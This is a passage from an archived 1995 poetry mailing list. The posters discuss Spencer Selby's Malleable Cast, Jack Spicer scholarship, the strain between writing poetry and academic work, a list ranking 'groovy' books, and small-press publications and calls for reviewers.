on recent visit here to albany, he told me he doesn't have email. Chrisz

↑ Index

256. **Fred J. Wah**
Doug Messerli
Fri 17 Mar 1995

If anyone knows Doug Messerli's email address, could you post it
to [redacted].
--

↑ Index

257. **Spencer Selby**
Re: Reading Selby
Fri 17 Mar 1995

Thanks to Ron, Gary, Colleen, Bill and others for their interest and thoughts about _Malleable Cast_. I am flattered by this discussion, which I have hesitated to enter because I believe the work does best on its own and because I don't believe my ideas about it are more valid than others. If not for Gary, I would probably leave it at that. But he has persuaded me to say more, to overcome my hesitation and share a few of my thoughts about the book. Reactions to this work vary quite a bit. Some people think the writing is too fragmentary, interrupted or concealed, and that the images predominate. Others are able to derive a lot meaning from the words and phrases that appear and the way they play off or interact with the images. I prefer the latter approach, but that does not mean I think there's anything wrong with the former, or with just treating these pieces as visual. I believe the words have an effect whether it is consciously recognized or not. (Providing you can read English, which has not always been the case, as these pieces have been published in many foreign countries.) As Gary has pointed out, the title can be a very good place to start. Malleable cast metal and a malleable cast of characters are primary for me. The malleable cast of characters is what is presented in this work. Malleable cast metal evokes a process that is both industrial and that reaches back before modern industry. It evokes a process of fusion thru heat, which is both metaphorical and one of the foundations of modern society. The idea of fusion underpins the entire book and the many linkages that are made or attempted. Central among these are science, alchemy and the quotidian. Searching, building and striving are balanced against disease, blindness and the static normality of American life, which is graphically (and humorously) portrayed by these images from the 30's, 40's and 50's. Many of the images contain their own antithesis, as when this normality appears more bizarre than anything else. Strange juxtapositions abound which link past with present, and which link the social threads with the more immediate issues that center on the nature of this work as art that fuses image and word. This fusing is a kind of alchemy in which the characters and pieces are definitely malleable. The

malleable cast that has a historical foundation is thus integrally related to the malleability of the works themselves. The work is both private and public, mirrorlike and a kind of social biography. Word and image interrogate the relationship between word and world. And that again involves questions about the reader or viewer's relationship with the art or medium which makes the interrogation possible. All of these questions are open-ended, but they also have answers which are embedded in the work. The reader/viewer may pick up a shovel and acknowledge identification with the miner on the cover of the book. In doing that she should be able to tap into more of the ore and treasures that this world/work may offer. Spencer Selby P.S. I did not construct the work as a narrative, at least not at first. The sequence was determined for the book, which was a year after the pieces were completed. There may be some narrative idea behind the sequence. It seems to me a valid way of approaching the work, though not at all necessary.

↑ Index

258. George Bowering

?

Sat 18 Mar 1995

I was just looking at a message from you in late January' and I was thinking that's 3 weeks ago, but really it is 2 months, isnt it? Well, anyway, I heard that you were so amusing when you came home last weelk from the pub that Joanne turned off the movie andwatched you run into things.

Anyway, in that Jan. message, you were arguing with something you think I said about gold and black things; and I cannot remember what trhe hell you thought you were talking abouit, and maybe you had me mixesd up with some villain in a dream. And just right now it is 9:21 on a Friday night and you and Reg will be your most charming and Willy will be sitting with his chin on his chest.

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259. George Bowering

Re: Achilles' shield

Sat 18 Mar 1995

Well, even if we could find out that there were words on Achilles's shield, I am pretty sure that we would find out that they were foreign words, so what would be the use? Or maybe we would find out that he used words AS shields, the way so many of us do, Language poets and shy fellows.

↑ Index

260. George Bowering
Re: Books by my bed
Sat 18 Mar 1995

Kenneth Goldsmith mentuioned Gass's _The Tunnel_

Does this mean that that damned book is out as a book at last? Like a lot of people, I have been reading it for 15 or 20 years, the pieces available here and there, wondering whether it woiuld be publioshed in my lifetime. And now it wd appear that this monster is published to no fanfare? Is this possible?

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261. Ron Silliman
Re: Reading Selby
Sat 18 Mar 1995

So, Spencer, what is the PROCESS by which you construct one of these pages? What tools do you use? Physically, I mean. Describe the temporal sequence perhaps.

This has been a great discussion and I hope it's not over.

Ron

↑ Index

262. George Bowering
Re: More Sixties Gold
Sat 18 Mar 1995

Silliman had some beauties on his list.

Is Michael Rumaker's _The Butterfly_ out of print again? My, that was a nice piece of prose at the time. It was so much UNlike what you were reading in your U.S. Lit course.

↑ Index

263. Tenney Nathanson
Re: POETICS Digest - 16 Mar 1995 to 17 Mar 1995
Sat 18 Mar 1995

Patrick:

this is prolly like the blind trying to lead the one-eyed (pardon my ablism) but in my scrawled notes on "A Step Away from Them" (in the margins I mean) some made recently but this one made in David Shapiro's amazing seminar about twenty years ago now, I have, laeding out from the beautiful "where the sign /

blows smoke over my head, and higher / the waterfall pours lightly," this: "cf. Rilke, /Duino Elegies,/: "And higher, the news atars in the land of pain." The problem is that David, too, heard echoes everywhere, so who knows? Like Douglas (in this respect though not in many others) he's presumably not on email. As presumably not, too, is Kenneth, who just came up again via Ron Silliman. Apparently there's still time to send on birthday greetings for the 70th birthday celebration mentioned by Marisa Januzzi on this list a couple weeks ago--in c/o her, perhaps, being one possible route.

"ah well, it's a young tree's privilege to climb...."

↑ Index

264. Tenney Nathanson
Re: POETICS Digest - 16 Mar 1995 to 17 Mar 1995
Sat 18 Mar 1995

---

oops!:

"the news atars in the land of pain"?

undoubtedly. nevertheless,

"the new stars in the land of pain"

is what Rilke (translated) wrote.

and that's all they wrote....

↑ Index

265. Patrick Phillips
Re: the news atars in the land of pain
Sat 18 Mar 1995

I think you've written a interesting line there Tenney

Attar is the perfume/fragrance obtained from a flower and a Persian poet whose major work was "the conference of the birds."

Pat

↑ Index

266. Robert Drake
call for reviewers
Sat 18 Mar 1995

_____

> > > > > > > > > > CALL FOR REVIEWS < < < < < < < < < <

^^^^^^^^^^^^^^^^^^

folks--

TAPROOT REVIEWS provides access to a wide variety of writing and language-art publications, with short reviews of hundreds of titles in each issue. This is a periodically updated call for submissions. The following titles are among those available for review:

Bruce Andrews Divestiture--E
Guy R. Beining To Far to Hear
John Brandi Shadow Play
Laynie Browne One Constellation
Marten Clibbens Sonet
Clark Coolidge Registers (People In All)
Milo De Angelis Finite Intuition
Sally Doyle Under the Neath
Peter Ganick Cafe Unreal
No Soap Radio
Susan Gevirtz Linen Minus
Catherine Harris Sylvan Delta
Barbara Henning The Passion of Signs
Emmanuel Hocquard Theory of Tables
Lisa Houston Liquid Amber
Laura (Riding) Jackson Lives of Wives
Paol Keineg Boudica
Kevin Killian Santa
Cynthia Kimball Omen for a Birthday
Tom Lafarge The Crimson Bears
A Hundred Doors (crimson bears pt. 2)
Denise Lawson Where You Form the Letter L
Stacy Levine My Horse & other stories
Ira Lightman Psychoanalysis of Oedipus
Lori Lubeski Stamina
Kimberly Lyons Rhyme the Laker
Kevin Magee Sea/Land
Tom Mandel Letters of the Law
Friedericke Mayrocker Heiligenanstalt
Sianne Ngai My Novel
Jena Osman Amblyopia
John Perlman Exuviae
The Natural History of Trees
Randall Potts Recant: (A Reviesion)
Kristin Prevallet from Perturbation, My Sister

Elena Rivera Wale
Kim Rosenfield Two Poems
Joe Ross Push
Leslie Scalapino Defoe
Ron Silliman Jones
J. Spahr et.al. A Poetics of Criticism
Cole Swenson Walk
Elizabeth Willis Second Law

Magazines:

Avec Vol.8, 1994
CB #1, fall 1994
Exile Vol.2 #4, fall 1994
House Organ #8, fall 1994
The Impercipient #6, November 1994
North American Idiophonics Annual 1994
Situation #8

-& this is just a small sampling...

WE WOULD WELCOME short (100-200 word) reviews of any of the above titles, other publications, or related language-arts work: spoken word recordings, artist's books, intermedia, etc... We also run longer "feature" articles (1000-2000 wd.), focusing on particular authors, titles, publishers, or tendencies (Leave Books would be a prime candidate...) The emphasis remains on _access_ to publications. Query first. Samples of TapRoot Reviews Electronic Edition (TRee) can be found at the Electronic Poetry Center, and additional "writer's Guidelines" are available from this address.

luigi-bob drake
Burning Press/TRR
[redacted]

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267. **Marisa A Januzzi**
Koch's Birthday//THE TUNNEL
Sat 18 Mar 1995

Yes, it's true that anyone who wants to convey birthday messages to be read at KK's birthday celebration can e-mail them to me at <[redacted]>. We're asking that the messages not take more than 3 minutes to read. If anyone plans to be in NYC, the time and place are: 7PM Thursday March 23, Maison Francaise, Columbia University, 116th and Broadway. For more specific info or directions, of course feel free to contact me. Ron Padgett will coordinate various readers

and readings and theatricals and confessions and home movies, and we will have cheese.

Gass gave a reading with Gaddis at the 92Street Y a few weeks ago; don't know if that counts as fanfare for his new book, but it was a good reading with Gaddis acting very grumpy about the whole thing. If anyone gets through the entire TUNNEL I would be very curious to hear about the cumulative effect.

--Marisa Januzzi (very heartened to know so many of you are interested in Mina Loy-- thanks to all for your messages)

PS: "beddy-byes"?!

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268. maria damon
what i'm reading
Sat 18 Mar 1995

i like to know what people are reading; it's entertaining and instructive. i'm reading or have recently read cb's a poetics; louis, a book abt. louis armstrong; a ms by lew ellingham about jack spicer's life and circle; ammiel alcalay's after jews and arabs; marilyn halter's between race and ethnicity (a book about cape verdean immigrants to southeastern new england) in connection w/ research on steven jonas; pat shipman's the evolution of racism, a popular-ish history-of-science account of the relationship between darwinism/physical anthropology and ideologies of race and racism (not especially recommended) in connection w/ a project on jewish social scientists, esp. anthropologists. charmed by the discussion of malleable cast so might add that to my list. have ordered some of hannah wiener.--maria damon

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269. Carl Lynden Peters
bed riddence
Sat 18 Mar 1995

Ryan,

i read, and have been reading for the past long while, Leonard Cohen's BOOK OF MERCY before going to sleep at night, because, you see, i never know if i'm going to wake up on th' other side. wtch is interesting. i dont really like Leonard Cohen

Carl

↑ Index

270. George Bowering
Re: Poetry and the Page
Sat 18 Mar 1995

H.T. Kirby-Smith mentioned poetry in the 1500s that tried to accomodate appearance on the page to content. Now, I have a lot of trouble with that concept--the idea of poetry's containing something. I know that it is a term long in use, but ever since I first heard it I have wanted to have it explained to me. What is the "content" of a poem. How can a poem be a container? Isnt it words that dissapewar as sound into the air and down people's earholes? As written how will it contain. What would be an example of something contained in a poem-container? I am not fooling here.

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271. Chris Stroffolino
Re: what i'm reading
Sun 19 Mar 1995

Maria--did CLINT BURNHAM write a book called "a poetics"--I'll be damned...cs.

↑ Index

272. Robert Drake
Re: call for reviewers
Sun 19 Mar 1995

friends--

response to yesterday's call for reviewers has been quick & generous; many thanks to all. mindful of past discussions (and past issues of TRR), i notice that all offers so far have been from men. before i give the boys first pick, i'd like to enter a plea to women on the list to consider contributing... as mentioned, in addition to titles listed in the post, current poetry/lit/language/intermedia releases from any small independent presses would be welcome (tho best to check first, in order to avoid duplication). the aim of TRR is to help connect readers to a variety of new work--a variety of perspectives is essential in reaching that goal.

&, tho i'd _not_ want to see exclusively gender-correlated reviewers, i'll point out that almost half of the authors on the initial list are women.

again, _many_ thanks to the folks who've offered so far--i'm sure you'll understand this as no slight...

sincere

luigi
TRR/Burning Press

[redacted]

↑ Index

273. **maria damon**
Re: what i'm reading
Sun 19 Mar 1995

---

who's clint burnham? i'm not so deeply immersed in this POETICS world that i'd know if i were slighting someone,etc.--maria

In message <[redacted]> UB Poetics discussion group
writes:
> Maria--did CLINT BURNHAM write a book called "a poetics"--I'll be
> damned...cs.

↑ Index

274. **Ryan Knighton**
Re: maria damon's "what I am reading"
Sun 19 Mar 1995

---

maria--

in your reading list you mention lew ellingham's book on
jack spicer. I am currently writing on spicer (or, at least
on the cusp of writing) and am interested in hearing what
you have to say about ellingham's book. I think I have
read more anecdotes than insights on spicer.

Ryan Knighton ([redacted])

↑ Index

275. **maria damon**
Re: maria damon's "what I am reading"
Sun 19 Mar 1995

In message <[redacted]> UB Poetics discussion group
writes:
> maria--
>
> in your reading list you mention lew ellingham's book on
> jack spicer. I am currently writing on spicer (or, at least
> on the cusp of writing) and am interested in hearing what

> you have to say about ellingham's book. I think I have
> read more anecdotes than insights on spicer.
>
> Ryan Knighton ([redacted])

ryan: there are 2 versions of ellingham's ms --one a rich and lively (though over-long and unfocused) set of oral histories centered on spicer but addressing the entire gay/beat/bohemian/poetic scene of north beach in the 50s and 60s in much particularity --lots of thumbnail portraits of folks like russell fitzgerald (whose beautiful journals are copiously quoted), bob kaufman (on whom fitzgerald had a mad crush), paul alexander, joanne kyger, etc. the other version is a biographical distillation of the longer ms.--i'm only on p 100 or so of that one. what this version gains in brevity and focus it loses in intensity; there are fewer readings of poems (spicer's and other's) and less in-depth discussion of poetics. what u say about the rich anecdotal lore on spicer outweighing the serious consideration of his poetics is interesting; i think this often happens with "cult figures"; one way of looking at this is to grant that analysis might be embedded in these anecdotes and could be teased out --that these anecdotes are part of the poetics relevant to whatever poet seems to end up being talked about this way. because the layering of legend around a "poet" and his "poems" becomes part of the context that determines the meaning and substance of his/her oeuvre, just as clifford geertz's "thick description" is part of the ethnography the anthropologist generates. what "cultural work" is accomplished by these anecdotes and the need to tell them? whaddya think?--maria

↑ Index

276. Tony Green
Re: close reading
Sun 19 Mar 1995

Dear Chris Stroffolino,
Can you identify what in academia appears to prevent you from sharing your reading-writing practice without let or stay or looking over the shoulder for hindrance? Is there a conflict between poetry as a practice and academic demands?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand

Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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277. Lisa Samuels
poetry v the sharp mind
Sun 19 Mar 1995

---

dear Tony Green --

your question about poetry is addressed to Chris S., but i couldn't let it go. there is, anyway here where i am a dissertator & instructor, zero encouragement to do anything other than these 2 things. & i sense, often, that people who write poetry while they are pursuing academics are seen as double-dippers, can't quite make up their minds, poor things, & after all the creative act can have a kind of dulling, happifying effect on them, when they ought to know it's best to use all one's mental energy to think sharply & clearly, to reach objectivisms of the mind, to EXPLAIN without sievey effect certain small truths about certain pre-written arenas.

pardon the tone, perhaps. but i think i found your question remarkable, & i wonder if there is not this division in NZ? let me add: as academic expands it seems there are some people & places where this conflict is not so evident -- i felt this at the Louisville conference -- & that change makes me more content to be, as it were, institutionalized. & so i continue to write poetry, too.

Lisa Samuels

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278. Tony Green
Re: poetry v the sharp mind
Sun 19 Mar 1995

Dear Lisa, NZ has much the same noxious divisions as pretty well anywhere else in English speaking academia -- of the kind you write about. I'm interested in resistances, cross-overs, infiltration strategies. Hence my question on this list (to Chris and anyone else). Charles Bernstein's A Poetics is a point of resistance for me. Looking for professional philosophers to back up an idea I had about Descartes's narrative of doubt and certainty, I found, on Friday, Dalia Judovitz "Subjectivity and Representation in Descartes" C.U.P.1988 (writing that goes back to early 1980's) , proposing to cross frontiers, with: " ...the foundation of subjectivity as a philosophical construct is inseparable from its literary representation as an autobiographical, historical and narrative entity". Sounds promising (intro.p.3) Who made the division

(and when) between literary and philosophical? The questions get to beg for Foucaultian answers pretty fast.

Best wishes

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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279. Gary Sullivan
Groovy Books
Sun 19 Mar 1995

An extension of the "Sixties Gold/Classic O.P." discussion:

TEN GROOVY BOOKS

KEY: Groove Factor 1-3 = "Groovy"
Groove Factor 4-6 = "Very Groovy"
Groove Factor 7-9 = "Totally Groovy"
Groove Factor 10 = "Oh My Fucking God That Is Like Totally *Beyond* Groovy"

Call me a fetishist, but what *I* like are "groovy" books. "What the hell does that mean?" "By what measure--'grooviness'?" "Does the work *in* the book have to be 'good' for a book to be considered groovy?" "Can a 'fine print' edition of something be 'groovy'?" Hey, thanks for asking. Well, first of all, *obviously* everyone's going to have different ideas as to what's "groovy." For me, "groovy's measure" is something I feel first in my gut then, later, spend hours on the phone with friends, "verifying." I'll describe the book, after which point I'll ask, "So, is this groovy, or what?" A "yes" answer from more than 1/2 of all queried friends "verifies" grooviness. Level of queried-friend enthusiasm determines Groove Factor. A "no" answer from more than 1/2 can either (a) lower Groove Factor, or (b) annul said book's "groovy" status. (Book becomes "just-a-book.") No, the work doesn't *necessarily* have to be any good. But, it helps. Lastly, "groovy," like "campy," is a value attributed more by audience member, than maker. Most "fine print" editions--lovely though they might be--are not "groovy." (It's a distinction that admittedly still needs work.) (Chris Stroffolino, as someone in academia who's also interested in contemporary rock

music, you might be the perfect person to--perhaps as a thesis?--hammer out the above admittedly "foggy notion"s of "grooviness" into a "sharp" essay.) So, in no particular order, here are 10 randomly chosen "groovy" books ... Alfred Tennyson, _Lover's Tale_, Walton Press, no copyright date. This hardcover (library binding?) of Tennyson's poem includes three "found" photos by Bern Porter. I gave this book 1 Groove Unit for each photo. Three photos x 1 Groove Unit ea. = GROOVE FACTOR 3. Chris Mason, _Click Poems_, Shabby Editions, 1982. "The Click Poems were inspired by and are dedicated to the click language of the Bushmen in South Africa, and the Ameslan sign language of the deaf community of the United States." A beautiful mini-chap w/extraordinary work (can't reproduce here; poems use "fermatas", illustrations of lips &etc., scribbled out text) found used in MPLS. GROOVE FACTOR: 5. Hey, wait! The address says "c/o Cris Cheek"! And Cris is on this list! I've "talked to" Cris! GROOVE FACTOR: 7. Jack Spicer, _After Lorca_, (picture of cone = press name?), 1974. A reprint (pirated?). Blue ink. The verso of the title page says: "This book has been typed on an IBM Selectric blah, blah, blah, by Robin Cones and printed by Marco Polio for the Government, with a cover from a photo by blah, blah, blah, in March, 1974." Anyone know who made this book? Delicious! GROOVE FACTOR: 10. Patti Smith, _Seventh Heaven_, Telegraph Books, 1972. Patti's first book, I think. GREAT cover photo: looks like Patti hasn't bathed since 1966, struggling to keep eyes open. Dedication: "this book is dedicated to/ Mickey Spillane/ and/ Anita Pallenberg." How groovy? GROOVE FACTOR 8. James Sherry, _In Case_, Sun & Moon Press, 1981. Great lurid pulp cover, text pages printed on *pulp stock paper*. Jonathan Brannen (a frequent Groove Consultant) mentioned that he'd seen a review of this book that actually *criticized* the book for having been printed on such "cheap" paper. (Critic obviously didn't "get" it.) GROOVE FACTOR (including Brannen's anecdote): 6. Maxine Chernoff, _A Vegetable Emergency_, Beyond Baroque Foundation, 1977. This 8-1/2" x 11" printed on cheap stock was published in an edition of EIGHT THOUSAND FIVE HUNDRED copies. *Tell* me that's not groovy. Bonus Groove Unit as I got it signed by Chernoff in '93, who explained the high press run: "Yeah, they, um, they printed an awful lot of these." GROOVE FACTOR: 6. James Haining (editor), _Salt Lick_ Vol. 2, Nos. 1-2, 1972. Every issue of _Salt Lick_ is groovy, but this one particularly so. Includes Gerald Burns' _Boccherini's Minuet_ as a make-it- yourself chapbook insert (!); also includes poems by Robert Slater, Robert Trammell's "George Washington Trammell," poems by Ann Darr, Stephen Leggett, Bruce Andrews' "Getting Ready To Be Frightened" ("go Gandhi go"), poems by James Haining, drawings by Wilton David, and essays & reviews by Burns, Michael Lally, Al Drake, Andrews, Victor Contoski, Darr, Ron Silliman, Daniel Castelaz, and Haining. Reading this, you get the sense that, in 1972, anything might've happened. Incredible list of Books & Mags received. GROOVE FACTOR: 10. J H Prynne,

Kitchen Poems, Grossman/Cape Goliard, 1968. Top o' the line poetry, *beautiful* edition (great two-page "trig" drawing in red on title & facing pages). GROOVE FACTOR 9. (Docked one point from perfect score only because I found two copies in the same used bookstore.) (Groove "aura" loss.) Robert Gluck, _Marsha Poems_, Hoddypoll Press, 1973. Instead of stapling this 8-1/2" x 11", the publisher bound it with red string. Also, "Marsha"--the cartoon woman on the cover--has red flowers felt-tip penned onto her dress. GROOVE FACTOR: 5. Tom Weatherly, _Maumau American Cantos_, Corinth Books, 1970. The title? *Way* "seventies." Includes subtitles like: "roi rogers and the warlocks of space." You know what I'm thinkin'? I'm thinkin': GROOVE FACTOR 8. That's ten. Groovy. Yours, Gary

↑ Index

280. Chris Stroffolino

Re: poetry v the sharp mind

Sun 19 Mar 1995

Dear Tony and Lisa--I guess it's a question of "finding a niche" or questioning what is allegedly considered "marketable" out there--I may be "naively" "deluding" myself--but I wonder about what is considered "fashionable" in academia today and how many people (whether as poets or not) seem to be cowering under these dimly perceived "demands of the marketplace"--As a student, I have no answers but hunches at present about such "ways and means" and 'strategies of subversions"--However, the division between "philosophy and literature" I do not see as a problem Foucault has answered--in fact, Foucauldianisn may be part of the problem itself (not that there isn't "value" in Foucault)...the question in some ways is perennial--depsite the generational specificity one could appeal to in terms of academic and economic realities... This is probably too vague... but, for the most part, unlike Lisa, I have suspended my so-called "poetic" activities in my first year here as a graduate student...(though that my change)...Chris S.

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281. Kevin Killian

To you

Sun 19 Mar 1995

Hi Gary. You did not mention that you, yourself, Gary Sullivan, have a "groove factor" of about 11 or 12.

And even those numbers are too pubescent to describe the full engorged groove factor you walk amidst, like an angel in a cloud.

Thanks--for being you.

Kevin Killian 1995

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282. Ryan Knighton
Re: maria damon's "what I am reading"
Sun 19 Mar 1995

---

maria--in response to your response re spicer and that "the layering of legend around a 'poet' and his 'poems' becomes part of the context that determines meaning".

Thanks for your thoughts on both versions of Ellingham's book. As for your ideas on anecdotes, it raises an interesting problem. It seems to me, in the reading I have done around Spicer, that anecdotes are the preferred critical point of departure because there isn't really an easily and accessible language to discuss his work with/within. I'm thinking of Blaser's essay at the end of the collected works as perhaps the closest example of writing which comes as close as it can to Spicer's writing against the poem as "container" (to quote another e-list topic). It seems to me that because much of his poetry occurs in disruption, in the space between form/referent, original/translation, world/poem (Lorca's lemons, for instance or the necessity of resonance in the serial poem), a stable, critical discourse is the wrong bone to pick with. Or, maybe not. Any thoughts?

Ryan Knighton
P. S. -- reading my message over I noticed "easily" should be
"easy". Feel free to exchange them.

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283. Rae Armantrout
Re: Groovy Books
Sun 19 Mar 1995

I think someone should say that Carla Harryman's Memory Play (O Books) is amazing. I guess it will have to be me.

Rae Armantrout

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284. Tony Green
Re: poetry v the sharp mind
Sun 19 Mar 1995

Hi Chris, The question is not quite so easy: If your practice with texts is margin writing, how far does that notion of writing figure in what you do elsewise in the setting of the academy? Is this a fair statement of a position that some people might hold: "Much of what I am interested in doing as a writer would fit better with some rather different academy than the one I'm actually in --- but I persist. This brings with it some conflict, but in the long term this produces pressure on the academy to change." (Wystan Curnow said something like this in a post a few months ago in a discussion of the academy. It can harbour difference, sometimes.) In the end, the academy cannot do without a renewal of productive activity.

The funny thing about the Descartes book by Judowitz is that so far I can't see it taking advantage of the possibilities of narrative or autobiographical or fictional strategies itself: it remains expository discourse of a familiar enough kind.

But Susan Howe's writing on Emily Dickinson, that's a model that not too many academic readers will happily endorse, and recommend to their students as models....?... (I hope I'm wrong on that).

So Foucault, and what ever else by way of theory, may show where the problem lies, but doesn't necessaril;y
change anything in practice.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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285. Tony Green
Re: poetry v the sharp mind
Sun 19 Mar 1995

P.S. I've misread you, Chris. Foucault is part of the problem? Oh, I was thinking of the Archaeology of Knowledge and the analysis of the how writing is controlled and authorised by institutional set-ups. So I was seeing the problems

of writing in the academy in terms of what is permitted and what is not by the institution.

I also think now of the evident difficulties that occurred when Charles Olson delivered his Beloit lectures (No theme sentences!) or the account of the last days of Olson by Charles Boer. Olsonian practice looks as remote from academic respectability as ever...raising the question, just how "serious" is he as a historian?....(How many writers on history or mythology cite his views as support?.....)

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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286. Chris Stroffolino
Re: poetry v the sharp mind
Sun 19 Mar 1995

Dear Tony, Lisa, Gabrielle, etc.-- When Tony writes "If your practice with texts is margin writing..." I wonder IF my practice with texts IS margin writing, and I distrust what i will call my own tendency to introject and/or employ such academic/professional buzzwords...and I'd like to think thatin academia the "use" of such terms does not automatically imply a too eager attitude towards "marketability"--etc. I don't think it's just true at my school, (though i may be overgeneralizing--especially in this age of Newt gingrich and Allan Bloom), that there is a lot of discourse that announces itself as "margin writing" because it is fashionable to do so...Whether this really is margin writing of course is a more interesting question because it allows one to see the OLD IN THE NEW and the NEW IN THE OLD...This does not mean that I do not wish my dissertation to "explode academic discourse" as much as MY EMILY DICKINSON does...But I do not want to be self-congratula tory about how "unigue" and "new" and "progressive" either "I" or "my people" are--I guess I see such posturing as "getting in the way of the real issues" (as James Sherry read me months ago), and by "real issues" I just mean the possibility of COMMUNICATION of a more intimate sort occuring in institutional contexts....though I also think what is central here is that there is a need to be challenged intellectually as well...It is not a mere question of

"new" and "old" or "margin writing" but of a desire to learn as well as teach and to actually not be one of those who, burdened by professionalism or scarred by academia, can not be fueled or excited by their involvement with it. As if one can play a role one hates in hopes it will catch the ear without killing it...and only then FEEL COMFORTABLE ENOUGH TO BE ITSELF (if it knows what it likes anymore---and no I'm not necessarily "privileging" "humanist essentialism" here)....For there is not only McPoetry but McAcademic Discourse it seems to me, and it wants to have the house surrounded, blaring Eddie Cochran's "get to the top I'm too tired to rock," of which this impatience of mine to "correct" myself in public is no doubt part (but smile). Chris

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287. **Chris Stroffolino**
Re: poetry v the sharp mind
Sun 19 Mar 1995

So, Gabrielle, what SURREALISM are you reading? I'm sure others would like to know too...I'm reading some too--Soupault is getting to me more now....Chris

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288. **Gabrielle Welford**
Re: poetry v the sharp mind
Sun 19 Mar 1995

I do like Lisa's comparison between the demand to think clearly and objectively (a la science perhaps? or a la someone's misconception of science?) and the fuzzy poor thing double dippers who write--what, for enjoyment? I have hardly written a poetic or fictional word since I came to begin this Fddd. Am finally doing so again because taking a class on surrealism where the prof actually believes in writing like to learn about. But sometimes I feel as though I'm having my bones pared down in an effort to get me to think in a way that don't come naturally.

Gabrielle

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289. **Gabrielle Welford**
Re: poetry v the sharp mind
Mon 20 Mar 1995

Hi Chris. Reading Lautreaumont's Les Chants de Maldorol

On Sun, 19 Mar 1995, Chris Stroffolino wrote:

> *So, Gabrielle, what SURREALISM are you reading? I'm sure others would like to know too...I'm reading some too--Soupault is getting to me more now....Chris*

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290. Gabrielle Welford
Re: poetry v the sharp mind
Mon 20 Mar 1995

Phewph. My phone lines keep sending stuff off before I'm ready to send it. You may have noticed. Anyway, Maldoror and Le Poet Assassinee/ Apollinaire. Nadeau's History of Surrealism and The Road to the Absolute by I forget. Some Breton. We're attempting a collage novel and several breath poems and begin cut ups. So I'm being ordered to write again. Sigh of relief. I'm taking the class, which is an undergrad one, for no credit which makes it mostly just a joy.

Gabrielle

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291. Gary Sullivan
New Lally Reprint
Mon 20 Mar 1995

Since the publisher's not on line, I hope you all won't mind my plugging this new reprint of:

CATCH MY BREATH, Fiction/Poetry/Autobiography from 1960 -1974
by MICHAEL LALLY
Salt Lick Press; 86 pages; perfectbound; $13.00
Order direct from Salt Lick Press (add $2.00 shipping)
2107 NE Multnomah Street * Portland, OR 97232-2119 * U.S.A.
[redacted]

Originally published in 1978, the first edition of this selection of Lally's early writing went out of print in three months, and has remained o.p. until this 1995 reprint. Lally is the author of two dozen books, and edited the anthology _None of the Above_ in 1976, which included work by Bruce Andrews, Alice Notley & Ron Silliman, among others. He may or may not have been the editor of O Press (my copy of Blaise Cendrars' _At the Heart of the World_ ((GROOVE FACTOR: 7)), trans. by Annabel Levitt & published by O Press in 1978, lists its address as "c/o Michael Lally"). (Anyone who knows who *did* edit O Press -- not to be

confused with Leslie's O Books -- let me know.) (BTW: Rae, is that Harryman O Books book new? Can you tell us more about it?)

BLURB-TYPE MATTER: "Lally's 'autobiographical' work is not confessional -- no catharsis, either on his part or the reader's is called for. Less obvious is the structural function of Lally's continual insistence on anchoring himself (chronologically, geographically, politically, sexually): being up-front about his perspective and his prejudices. ... Lally, the narrator, does not transcribe 'raw material' but formally organizes a written story as if it were a spoken one -- with all the personal digressions and asides this implies. ... Lally aims for separation, judgment, the division of reader's intelligence from his own, the active direction of it to his work. It is what his 'anchoring' is all about: here I am, there you are, we are not the same ..." -- Jane DeLynn, from the Afterword.

EXCERPT (from "Empty Closets"):

No more annexing the gris-gris. Me they generally call
THE SHELF. They call him DRY the way your balls feel
when you been put away AGAIN. She forgives the future
when we take out each others eyes
to fill in the blanks. Blue gorges.

"Way uptown on a hundred, hanging from my action back, you're supposed to watch tv."

Once a year the sharks would come to
singular execution of snow fields,
o, in piles behind the early fifties.
On top of that we move around,
gored silver following ourselves. Getting fucked.

Now, obviously, if you could get the *original* edition of this book, that would be *way* groovy. The reprint isn't what I'd call "groovy," but is a wonderful book nontheless. Kevin, thank you so much for that thoroughly flattering groove assessment, but the research I've done puts me (a mere "groovetaster") way, way below a Lifetime Achievement Groovemaster like Lally. Did you see him last week on "NYPD Blue"? Most poets, you give them a bit part in some TV cop show, they fuck it up. (I think history has proven *that* much.) When Marta & I watched Lally's "NYPD Blue" performance, we had stacked up all of his books on the floor, "just in case" he started to get "embarassing," in which case we'd've been forced to read one of his poems over the realer-than-life TV dialog. That never happened. He's not only a wonderful poet, but a stunning TV-cop-show-bit-part-actor, to boot. What am I saying? GROOVE FACTOR: 50. Yours, Gary

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292. R.I.Caddel @ durham.ac.uk
Walsh / Scully
Mon 20 Mar 1995

Forget the politicians' handshakes, PIG PRESS has just published two of the most exciting of the younger Irish poets:

CATHERINE WALSH : PITCH

"The writer might be a stone cast into cast into life recording narrative ripples and disturbed reflections of a zoetrope memory... PITCH is worth reading, not least to watch thought select which part of itself to display in language." Tom Raworth

48pp / Five Pounds Ninetyfive / Twelve Dollars Ninety

MAURICE SCULLY : THE BASIC COLOURS

Writing with what one critic has called a "lightfooted rage", Scully chronicles the language shifts of wanderings in Dublin, Lesotho and Ennis. Peter Quartermain writes: "Who but the pained alert could be nightwatchman in these ruins of the future where we dwell?"

60pp / Six Pounds Ninetyfive / Fourteen Dollars Ninety

Also new:
ROY FISHER : IT FOLLOWS THAT
20pp / Two Pounds Ninety / Six Dollars

All Pig Press books are available in the USA from SPD, 1814 San Pablo Ave, Berkeley, CA 94702 - and you can get a sneak preview of these in the "British Poetry Supplement" of NEW AMERICAN WRITING 8/9, 1991.

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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293. cris cheek
bedside reading
Mon 20 Mar 1995

